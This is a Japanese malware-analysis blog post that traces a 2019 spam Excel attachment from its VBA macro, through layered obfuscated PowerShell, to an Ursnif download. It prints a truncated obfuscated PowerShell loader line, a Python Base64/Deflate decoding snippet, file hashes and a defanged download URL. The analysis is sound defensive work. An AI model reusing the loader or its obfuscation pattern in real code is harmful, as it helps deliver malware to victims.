2019/04/03(水) 添付ファイル付不審メール(bebloh/ursnif(A))の解析
2019年4月3日でばらまかれた不審メールを解析してみました。解析方法の整理をかねて、解析結果を今後投稿していこうと思います。まだマルウェア解析歴が浅いため間違っている部分はあるかもしれませんが、その際はコメントを頂ければ幸いです。
■添付ファイル
・文書名 -scan-nnnn.xls
※nnnnは数字4桁
https://www.virustotal.com/#/file/a5294a62b4cd9eae6d53816f8335d4e4aa9e48e3947621383658ca595bea4da6/details
SHA-256 a5294a62b4cd9eae6d53816f8335d4e4aa9e48e3947621383658ca595bea4da6
コンテンツの有効化をクリックするとマクロが実行されます。
■ 解析1<Excelのマクロ起動からPowershell起動まで>
Excel.exeのマクロにより、子プロセスとして、ELZQRKV.exeを作成・起動されます。ELZQRKV.exeはpowershellであることがわかりました。その引数として、難読化されたコードを渡されていました。
■ 解析2. VBAの難読化されたコード解析
olelvbaを利用して、VBAのコードを抽出してみました。難読化されており、完全な解析は困難ですが、powershellをコピーおよびshell関数を利用し、難読化したコードを引数にpowershellを呼び出していることが確認されました。
# olevba --reveal ファイル名
■ 解析3. Powershellの難読化されたコード解析
下記の赤字部分からBase64によるエンコードおよびDeflateアルゴリズムにより圧縮されていることがわかるため、Pythonを利用してコードの難読化を解除します。
<難読化されたPowershellのコード>
& ( ${pSh`O`mE}[21]+${P`s`HOme}[30]+'x')(.(\"{0}{1}{2}{3}\"-f'NeW-','O','B','Ject') (\"{5}{4}{2}{1}{3}{0}\" -f 'prEssion.DefLaTestReAM','io.cO','.','M','STEM','sy')([Io.mEMoRYstREam] [coNVerT]::FROmbaSE64StrInG('ZZpBj+S2EYX/Sh+c7hnAG1QZSQ7bFwXGInLgbAdrwxdjoU...756fn//3zF9z/R8='), [sYsteM.IO.COMPrEssiON.coMPresSiOnMoDe]::dECOMpRess ) | .('%'){ .(\"{0}{2}{1}\" -f 'N','t','eW-OBJec') (\"{1}{2}{5}{0}{3}{4}\"-f'aMrEAD','SYstE','M.io.sT','e','R','rE')(${_}, [SYStEM.tExT.enCoDiNg]::ASCII)} |.('%'){${_}.rEadtoeNd()})
・難読化解読Pythonコード
import base64
import zlib
tmp = 'ZZpBj+S2EY...(上のBase64でエンコードされた部分)'
decoded = base64.b64decode(tmp) #base64でデコード
decompressed = zlib.decompress(decoded, -15) # Deflateで復元
print(decompressed.decode("utf-8"))
上記のとおり、2進数で書かれたコードが確認されました。区切り文字を削除して、Asciiコード変換機を利用して、2進数を文字列に変換すると下記のようになりました。
再び、Base64およびDeflateアルゴリズムにより圧縮されていることがわかるため、もう一度Pythonを利用してコードの難読化を解除します。
ようやく、悪意のあるコードを複合できました。上のコードを整形すると下記のようになります。コメントアウトはこちらで付け加えた部分ですが、黄色の部分のとおり、https://gerdosan[.]com/uploads/changed.pdfのpdfファイルを開こうとしていることがわかりますが、今はサーバを落とされているため、失敗となりました。これ以降の流れは、下記のページで分析されています。
https://bomccss.hatenablog.jp/entry/2019/04/04/035229
■ (参考)解析4. Ursnifの解析
上記で記載した通り、changed.pdfは落ちてこなかったので、直接検体をダウンロードして、解析してみました。
Sha1 2611A2F1A57AB415C11733A80FE92DA843E5AEE5
下記のとおり、Ursnif.exeの子プロセスとして、explorer.exeが実行されていることがわかります。これはexplorer.exeにdllインジェクションされたのだと推測されます。
Explorer.exeが起動された後、複数のcmd.exeが起動されたことが確認できます。
Cmd.exeの動きを追ったところ、%TEMP%配下に8175.binというファイルを作成・書き込みを行っていることがわかりました。%TEMP%を確認したところ、8175.binというファイルはありませんでしたが、6E44.binというファイルがありました。バイナリエディタで確認したところ、このファイルはCABファイルであることがわかりました。
拡張子を.cabに変換し、解凍したところ、ようやく8175.binを抽出できました。テキストエディタで確認したところ、下記のようにマシン情報(ホスト名やレジスタ情報など)が格納されていたことがわかりました。
今回の解析ではこれ以上の動きが確認できませんでした。おそらくC2等が動作していると、C2へ8175.binの送付およびブラウザの入力内容も%TEMP%配下に格納されるものと推測されます。